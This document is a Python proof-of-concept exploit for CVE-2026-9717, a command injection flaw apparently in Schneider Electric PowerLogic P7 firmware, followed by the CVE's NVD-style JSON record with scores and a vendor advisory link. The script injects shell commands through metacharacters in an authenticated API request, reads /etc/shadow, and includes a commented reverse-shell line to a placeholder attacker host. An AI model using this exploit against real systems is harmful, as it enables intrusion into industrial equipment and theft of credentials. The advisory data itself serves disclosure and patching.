CVE-2026-9717

# CVE-2026-9717 OS Command Injection PoC # Target: Schneider Electric network-exposed service # Vulnerability: CWE-78 OS Command Injection # Required: High-privilege authenticated session import requests TARGET_URL = "https://target-schneider-electric-service/api/v1/endpoint" AUTH_TOKEN = "<high_privilege_session_token>" # Malicious payload injecting OS command via vulnerable parameter # The vulnerable service concatenates user input into a shell command def exploit_command_injection(target_url, auth_token, cmd): headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Inject command using shell metacharacters (e.g., semicolon, backticks, $()) # The vulnerable parameter is expected to be a normal string input payload = { "parameter": f"normal_value; {cmd}", # semicolon injection # Alternative payloads: # "parameter": f"normal_value`{cmd}`" # backtick injection # "parameter": f"normal_value$({cmd})" # command substitution } response = requests.post(target_url, json=payload, headers=headers, verify=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response # Example: read sensitive system file if __name__ == "__main__": # Command to execute on the target system malicious_cmd = "cat /etc/shadow" exploit_command_injection(TARGET_URL, AUTH_TOKEN, malicious_cmd) # Example: establish reverse shell # malicious_cmd = "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" # exploit_command_injection(TARGET_URL, AUTH_TOKEN, malicious_cmd)

{"cve": {"id": "CVE-2026-9717", "sourceIdentifier": "[email protected]", "published": "2026-06-25T16:16:44.220", "lastModified": "2026-07-01T19:51:47.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CWE-78 Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability exists that could allow unauthorized execution of commands with elevated privileges, impacting system integrity, confidentiality, and availability when a privileged authenticated user interacts with a vulnerable network-exposed service."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Schneider Electric", "product": "PowerLogic™ P7", "defaultStatus": "unaffected", "versions": [{"version": "Version V02.003.001.000 and prior", "status": "affected"}]}]}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T15:50:24.128307Z", "id": "CVE-2026-9717", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:schneider-electric:powerlogic_p7_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "02.004.001.000", "matchCriteriaId": "42259C2D-F54D-4CCF-A531-61AC5C9DA1F5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:schneider-electric:powerlogic_p7:-:*:*:*:*:*:*:*", "matchCriteriaId": "B5E66F05-D933-4AF8-8EDF-A959AE4CD7BC"}]}]}], "references": [{"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2026-160-03&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2026-160-03.pdf", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}